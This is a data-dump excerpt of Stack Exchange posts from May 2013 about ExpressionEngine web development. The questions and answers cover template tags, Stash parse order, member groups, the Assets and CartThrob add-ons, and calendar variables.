  <row Id="10118" PostTypeId="1" CreationDate="2013-05-07T11:12:16.163" Score="0" ViewCount="103" Body="&lt;p&gt;I am trying to create a multi site locally on my machine with MAMP PRO. So far I have installed the local ee fine but for some reason when I try to click Site in the home admin page I get a server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Mark &lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-05-07T11:12:16.163" Title="MSM on local development sites" Tags="|multi-site-manager|php-errors|localhost|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10119" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T11:14:42.340" Score="1" Body="&lt;p&gt;I would try to use {total_results} to add a css class to your markup then write your styles around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;count{total_results}&quot;&amp;gt;&#xA;    Stuff here&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.count1 { make the thing really big }&#xA;.count2 { make the thing a bit smaller }&#xA;.count3 { make the thing a bit smaller again }&#xA;.count4 { make the thing teeny tiny }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's not a full answer but it may give you food for thought.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-05-07T11:30:10.123" LastActivityDate="2013-05-07T11:30:10.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10120" PostTypeId="2" ParentId="10103" CreationDate="2013-05-07T11:18:35.787" Score="0" Body="&lt;p&gt;EE has released 2.6.1 which resolves this bug.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-05-07T11:18:35.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10122" PostTypeId="1" AcceptedAnswerId="10265" CreationDate="2013-05-07T12:47:48.537" Score="0" ViewCount="300" Body="&lt;p&gt;I'm doing some local dev with Assets 2.1.2 and trying to get it to output a folders and file structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can get the folders to display but no files. Even the tags that are meant to output the count of files/folders don't show there are files there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files display perfectly well within Assets in the Control Panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using to test.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:assets:folders}&#xA;    &amp;lt;li&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;p&amp;gt;Total subfolders: {total_subfolders}&amp;lt;/p&amp;gt;&#xA;        {if total_subfolders}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {subfolders}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:assets:files}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Total files: {total_files}&amp;lt;br&amp;gt;&#xA;                        &amp;lt;a href=&quot;{url}&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if} ({size})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {if no_results}&amp;lt;p&amp;gt;No files&amp;lt;/p&amp;gt;{/if}&#xA;            {/exp:assets:files}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting output looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content images&#xA;Total subfolders: 0&#xA;&#xA;Member files&#xA;Total subfolders: 0&#xA;&#xA;News images&#xA;Total subfolders: 0&#xA;&#xA;Provider Logos&#xA;Total subfolders: 0&#xA;&#xA;Projects&#xA;Total subfolders: 11&#xA;&#xA;    Committee&#xA;    Total subfolders: 10&#xA;&#xA;        Meetings&#xA;        Total subfolders: 4&#xA;&#xA;            2012-12-05 Berlin&#xA;            Total subfolders: 1&#xA;&#xA;                Presentations&#xA;                Total subfolders: 0&#xA;&#xA;            2013-01-28 Paris&#xA;            Total subfolders: 0&#xA;&#xA;            2013-04-21 London&#xA;            Total subfolders: 0&#xA;&#xA;       Project Groups&#xA;       Total subfolders: 4&#xA;&#xA;           PG1&#xA;           Total subfolders: 0&#xA;&#xA;           PG2&#xA;           Total subfolders: 0&#xA;&#xA;           PG3&#xA;           Total subfolders: 0&#xA;&#xA;           PG4&#xA;           Total subfolders: 0&#xA;&#xA;Slider images&#xA;Total subfolders: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a number of files in the 2012-12-05 Berlin directory (as well as the top level directories) that just don't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore adding the folder_id, parent_folder or folder parameters doesn't have any effect on what is output. The list always starts from the top most directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried setting it to output from {filedir_6} (which is the Projects directory) but the output is just as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... but in Assets 2.1.2 or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-05-07T14:09:23.560" LastActivityDate="2013-05-10T11:12:39.623" Title="Assets 2.1.2 not showing files on front-end" Tags="|pixelandtonic|assets|bug|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10123" PostTypeId="1" AcceptedAnswerId="10285" CreationDate="2013-05-07T13:43:53.667" Score="2" ViewCount="1192" Body="&lt;p&gt;Is it possible to assign a single user to multiple member groups / is there a module that does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have several member groups, but they're not mutually exclusive. A La, &quot;some dogs are black, but not all black things are dogs&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I would have to setup something like the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Group A only&lt;/li&gt;&#xA;&lt;li&gt;Group B only&lt;/li&gt;&#xA;&lt;li&gt;Group C only&lt;/li&gt;&#xA;&lt;li&gt;Group A + B&lt;/li&gt;&#xA;&lt;li&gt;Group A + C&lt;/li&gt;&#xA;&lt;li&gt;Group B + C&lt;/li&gt;&#xA;&lt;li&gt;Group A + B + C&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a more efficient route forward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;J&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-07-19T09:26:40.487" Title="Assign member to multiple member groups" Tags="|members|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10124" PostTypeId="2" ParentId="10123" CreationDate="2013-05-07T13:45:31.943" Score="1" Body="&lt;p&gt;You can't do this with the native Members module but you can do it with Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo Visitor handles your members as entries so you get the full use of custom fields and categories. The latter can be used to set up group memberships and allow you to put a single member in more than one group.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-07T13:45:31.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10125" PostTypeId="1" AcceptedAnswerId="10398" CreationDate="2013-05-07T13:59:35.533" Score="0" ViewCount="204" Body="&lt;p&gt;I'm building a custom fieldtype that uses &lt;strong&gt;Assets&lt;/strong&gt;. So far, I've implemented &lt;strong&gt;Assets.Sheet&lt;/strong&gt;, as described here: &lt;a href=&quot;http://docs.pixelandtonic.com/assets/developers/sheet.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/developers/sheet.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the Sheet slides into view, &lt;strong&gt;Assets tries to refresh&lt;/strong&gt; the files, and &lt;strong&gt;no files are being shown&lt;/strong&gt;. There are &lt;strong&gt;no JS errors&lt;/strong&gt; and the thumbnail list is emty (checked the html code). Only a console message from &lt;strong&gt;garnish-0.1.min.js&lt;/strong&gt; saying: &quot;&lt;strong&gt;Double-instantiating a select on an element&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sheet does work properly with any other standard Assets field, but not with my fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot: &lt;a href=&quot;http://cl.ly/image/3b2D2t1I3g0f&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3b2D2t1I3g0f&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody any idea how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-15T12:11:56.830" Title="Assets not showing files in backend" Tags="|assets|add-on-development|pixelandtonic|javascript|fieldtype|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10126" PostTypeId="1" AcceptedAnswerId="10135" CreationDate="2013-05-07T14:15:17.977" Score="0" ViewCount="68" Body="&lt;p&gt;I have a template that sets some stash values from a campign entry, such as campaigntag. This custom field is just a text input. What i'm then trying to do on the page is show a bunch of entries from another channel using the campaigntag as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;campaign&quot;&#xA;    status=&quot;open&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;{exp:stash:set_value name=&quot;campaigntag&quot; value=&quot;{campaign_tag}&quot;}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:tag:entries&#xA;    channel=&quot;event&quot;&#xA;    status=&quot;open&quot;&#xA;    orderby=&quot;title&quot;&#xA;    sort=&quot;asc&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    limit=&quot;9&quot;&#xA;    tag=&quot;{exp:stash:campaigntag}&quot;&#xA;}&#xA;{title}&#xA;{/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, I can't get any entries to display when I use a stash variable in the tag=&quot;&quot;. I can get results if I hard code the tag in here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondered if someone might be able to help figure out what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-05-07T17:16:33.720" Title="Stashing a tag to use with Solspace tag entries" Tags="|stash|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10127" PostTypeId="2" ParentId="10117" CreationDate="2013-05-07T14:25:15.023" Score="1" Body="&lt;p&gt;Try updating to EE 2.6.1, there was an EE bug with page_url: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-6-1&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-6-1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-05-07T14:25:15.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10128" PostTypeId="1" CreationDate="2013-05-07T14:29:31.027" Score="1" ViewCount="102" Body="&lt;p&gt;I have setup a calendar using the native calendar module tag. The date variable {date format=&quot;%F %Y&quot;} renders as APRIL 2013. Shouldn't it be rendering as May 2013? The url points to /2013/05 as the last two segments. Any logic behind this that I missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edited here is the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar channel=&quot;daily_posts&quot;}&#xA;&#xA;        &amp;lt;table class=&quot;calendarBG&quot; border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; summary=&quot;My Calendar&quot;&amp;gt;&#xA;            &amp;lt;tr class=&quot;calendarHeader&quot;&amp;gt;&#xA;                &amp;lt;th&amp;gt;&#xA;                    &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&amp;lt;a href=&quot;{previous_path='month/index'}&quot;&amp;gt;&amp;amp;lt;&amp;amp;lt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th colspan=&quot;5&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/h2&amp;gt;&#xA;                 &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th&amp;gt;&#xA;                    &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&#xA;                        &amp;lt;a class=&quot;calendarMonthLinks&quot; href=&quot;{next_path='month/index'}&quot;&amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;            {calendar_heading}&#xA;            &amp;lt;th class=&quot;calendarDayHeading&quot;&amp;gt;{lang:weekday_long}&amp;lt;/th&amp;gt;&#xA;            {/calendar_heading}&#xA;            &amp;lt;/tr&amp;gt;&#xA;            {calendar_rows}&#xA;                {row_start}&amp;lt;tr&amp;gt;{/row_start}&#xA;                {if entries}&#xA;                    &amp;lt;td class='{switch}' align='center'&amp;gt;&#xA;                        {entries}&#xA;                            &amp;lt;a href=&quot;/story/{entry_id}&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%j %M %d&quot;}&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;day&quot;&amp;gt;{day_number}&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;img src=&quot;/assets/img/painting-nails.jpg&quot; alt=&quot;&quot;&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        {/entries}&#xA;                    &amp;lt;/td&amp;gt;&#xA;                {/if}&#xA;                {if not_entries}&#xA;                    &amp;lt;td class='{switch}' align='center'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;                {/if}&#xA;                {if blank}&#xA;                    &amp;lt;td class='calendarBlank'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;                {/if}&#xA;                {row_end}&amp;lt;/tr&amp;gt;{/row_end}&#xA;            {/calendar_rows}&#xA;         &amp;lt;/table&amp;gt;&#xA;    {/exp:channel:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1336" LastEditorUserId="1336" LastEditDate="2013-05-07T14:41:40.023" LastActivityDate="2013-06-07T12:34:40.600" Title="Calendar Module Tag {date} variable not correct" Tags="|calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10129" PostTypeId="2" ParentId="10123" CreationDate="2013-05-07T14:46:08.063" Score="2" Body="&lt;p&gt;Any of the add-ons that convert members to entries can do it. &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile Edit&lt;/a&gt; - I think each take variations on the approach of using categories as member groups, and then syncing your member channel entries with the member module.  And since they use categories, you can assign a user to more than one. Solspace's &lt;a href=&quot;http://devot-ee.com/add-ons/user&quot; rel=&quot;nofollow&quot;&gt;User&lt;/a&gt; module allows you to assign members to more than one group, but it handles it a bit differently, I believe, and adds a bunch of other member-oriented functionalities as well.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-07T14:46:08.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10131" PostTypeId="1" AcceptedAnswerId="10132" CreationDate="2013-05-07T15:37:04.600" Score="0" ViewCount="313" Body="&lt;p&gt;I feel like I have seen a solution to my issue in the EE docs before, but now I can't find what I'm looking for. I would like to exclude some information from repeating inside of a channel entries loop, i.e. the header of the section. the reason for this is because i would like to display a different header-type depending on the amount of information that's returned (therefore, I can't just put the header outside of the loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, I'd like &lt;strong&gt;Upcoming Events&lt;/strong&gt; to appear only once, but i'd like the &lt;strong&gt;ul&lt;/strong&gt; div to repeat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  site=&quot;default_site&quot; channel=&quot;events&quot; sort=&quot;asc&quot; limit=&quot;8&quot;}&#xA;    {if total_results == &quot;7&quot;}&#xA;        &amp;lt;h2&amp;gt;UPCOMING EVENTS&amp;lt;/h2&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;h4&amp;gt;UPCOMING EVENTS&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;ul class=&quot;list&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;{event_short_name}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-05-07T15:42:08.623" Title="Exclude content from loop" Tags="|channel-entries|conditionals|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10132" PostTypeId="2" ParentId="10131" CreationDate="2013-05-07T15:42:08.623" Score="2" Body="&lt;p&gt;If you have 7 results, with your code above, then total_results will be 7 every time it goes around the loop, which is why you see UPCOMING EVENTS more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, try using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==1}&#xA;    &amp;lt;h2&amp;gt;UPCOMING EVENTS&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output something just at the start of the loop. You could put your conditional inside that one if you want to display a different heading depending on how many results there are.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==1}&#xA;    {if total_results == &quot;7&quot;}&#xA;        &amp;lt;h2&amp;gt;UPCOMING EVENTS&amp;lt;/h2&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;h4&amp;gt;UPCOMING EVENTS&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-07T15:42:08.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10133" PostTypeId="1" CreationDate="2013-05-07T16:11:54.400" Score="1" ViewCount="130" Body="&lt;p&gt;I've hit a wall with this one. I using Stash and template partials to set my page. Currently I am NOT caching anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have products that have product options associated with them and I have tried several approaches to try at get this to work. The bottom line is, that if I have the Carthtrob {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;} tag on the page, the product fails to add to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use this as a standalone and use Stash to pass an entry ID, I've also tried to set it as a stash item {stash:product_opt}code-here{/stash:product_opt}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash is parsing the tags and outputting them. I am presuming it is a delightful parse order issue! Another thing I have tried is to embed it and also use it as a snippet. No cigar sadly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:stash:set_list name=&quot;{segment_1}-Product&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot; save=&quot;no&quot; replace=&quot;no&quot; refresh=&quot;1440&quot;}&#xA;{exp:channel:entries channel=&quot;products&quot; status=&quot;open&quot; url_title=&quot;{last_segment}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:title}{title}{/stash:title}&#xA;&#xA;{stash:e_id}{entry_id}{/stash:e_id}&#xA;&#xA;{stash:product_options}&#xA;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; parse=&quot;inward&quot;}&#xA;{if dynamic}&#xA;&amp;lt;dt&amp;gt;{option_label}&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd class=&quot;productOption&quot;&amp;gt;{input}&amp;lt;/dd&amp;gt;&#xA;{if:else}&#xA;&#xA;{if configuration} config{/if}&#xA;{if options_exist}&#xA;    {if configuration_label}{if:else} &amp;lt;dt&amp;gt;{option_label}&amp;lt;/dt&amp;gt;{/if}&#xA;    &amp;lt;dd class=&quot;productOption&quot;&amp;gt;&#xA;        {select}&#xA;        &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;            {option_name}{if option_price_numeric &amp;gt; 0} +{option_price}{/if}&#xA;        &amp;lt;/option&amp;gt;&#xA;        {/select}&#xA;    &amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;{/exp:cartthrob:item_options}&#xA;{/stash:product_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-06-07T03:34:40.523" Title="Stash and Cartthrob product options = Not added to cart" Tags="|cartthrob|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10134" PostTypeId="1" AcceptedAnswerId="10143" CreationDate="2013-05-07T16:57:08.273" Score="0" ViewCount="123" Body="&lt;p&gt;I want to output a list of Category A's child categories, then at the end of that list, display a link to Category A itself (&lt;code&gt;.review&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Category A&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;readings&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;topics/readings/cat-child-1&quot;&amp;gt;Category Child 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;topics/readings/cat-child-2&quot;&amp;gt;Category Child 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;topics/readings/cat-child-3&quot;&amp;gt;Category Child 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;review&quot;&amp;gt;&amp;lt;a href=&quot;topics/review/category-a&quot;&amp;gt;Category A Review&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically just an upside-down category list. So I did this with GW Code Categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;    cat_url_title='{segment_2}'&#xA;    style='linear'&#xA;    show_empty='no'&#xA;}&#xA;    {if depth2_start}&#xA;        &amp;lt;h1&amp;gt;{cat_name}&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;readings&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if depth == 3}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='topics/readings/{cat_url_title}'}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if depth2_end}&#xA;        &amp;lt;li class=&quot;review&quot;&amp;gt;&amp;lt;a href=&quot;{path='topics/review/{cat_url_title}'}&quot;&amp;gt;{cat_name} Review&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;almost&lt;/em&gt; works perfectly, except for the &lt;code&gt;.review&lt;/code&gt; list item at the end. Instead of displaying the URL and name of Category A (&lt;code&gt;depth2&lt;/code&gt;), it displays the URL and name of the last &lt;em&gt;child&lt;/em&gt; category (&lt;code&gt;depth3&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-07T19:18:47.027" Title="GW Code Categories: Variables Not Correct Inside {depthX_end} Tags" Tags="|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10135" PostTypeId="2" ParentId="10126" CreationDate="2013-05-07T17:16:33.720" Score="0" Body="&lt;p&gt;I tend to promote my Stash tags up to first-class citizens in terms of parse order - Something like this will put the Stash tags on an even footing, saving you from having to figure out complicated black magic parse-order convolutions like &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;campaign-vars&quot; parse_tags=&quot;yes&quot;}    &#xA;    {exp:channel:entries&#xA;        channel=&quot;campaign&quot;&#xA;        status=&quot;open&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;       {stash:campaigntag}{campaign_tag}{/stash:campaigntag}&#xA;       ...&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;campaign-vars&quot;}&#xA;    {exp:tag:entries&#xA;        channel=&quot;event&quot;&#xA;        status=&quot;open&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        limit=&quot;9&quot;&#xA;        tag=&quot;{campaigntag}&quot;&#xA;    }&#xA;       {title}&#xA;    {/exp:tag:entries}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-07T17:16:33.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10136" PostTypeId="1" AcceptedAnswerId="11024" CreationDate="2013-05-07T17:49:11.260" Score="0" ViewCount="224" Body="&lt;p&gt;I'm having trouble getting my P&amp;amp;T Checkboxes field to display properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My field is {job_type} and it's options are: &#xA;full_time : Full-time&#xA;part_time : Part-time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm trying to use, but it doesn't ouptut anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}   &#xA;  {job_type backspace=&quot;2&quot;}{option}, {/job_type}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change it to just {job_type}, it outputs the selected value as part of a list; but if I try to use the proper :ul tag, {job_type:ul}, it doesn't output anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.5.5, and P&amp;amp;T Checkboxes version 1.0.3.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-06-05T16:08:41.553" Title="P&amp;T Checkboxes not displaying properly" Tags="|pixelandtonic|pt-checkboxes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10137" PostTypeId="1" CreationDate="2013-05-07T17:54:18.773" Score="0" ViewCount="202" Body="&lt;p&gt;My client wants members on their site to regularly update their profiles (to prevent them going stale), and I've been thinking about the best way to handle notifications for this. One idea was a simple 'subscription' model, where after a certain time has elapsed from the last update (say 3 months), if a profile has remains unedited, ee sends out an email to the member encouraging them to log in and update it. The site is free, so there's no need for payment gateways... so Cartthrob's subscription handling would be overkill. I also looked at Memberr, but again it's too complex for this simple task. I'm just really wondering how best to automatically check member accounts regularly and send notifications to account holders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea might be to have a hidden template that I request nightly with a cron that queries account dates and sends out automated notifications that way? My only issue with that is that it's not really handled within the CP. I don't have any experience of developing modules, only plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to use Zoo visitor to handle member data rather than the native member module (don't know if this makes any difference!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any experience of doing something like this I'd love to hear how you handled it!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-05-08T21:34:46.773" Title="Automated regular member notifications" Tags="|notification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
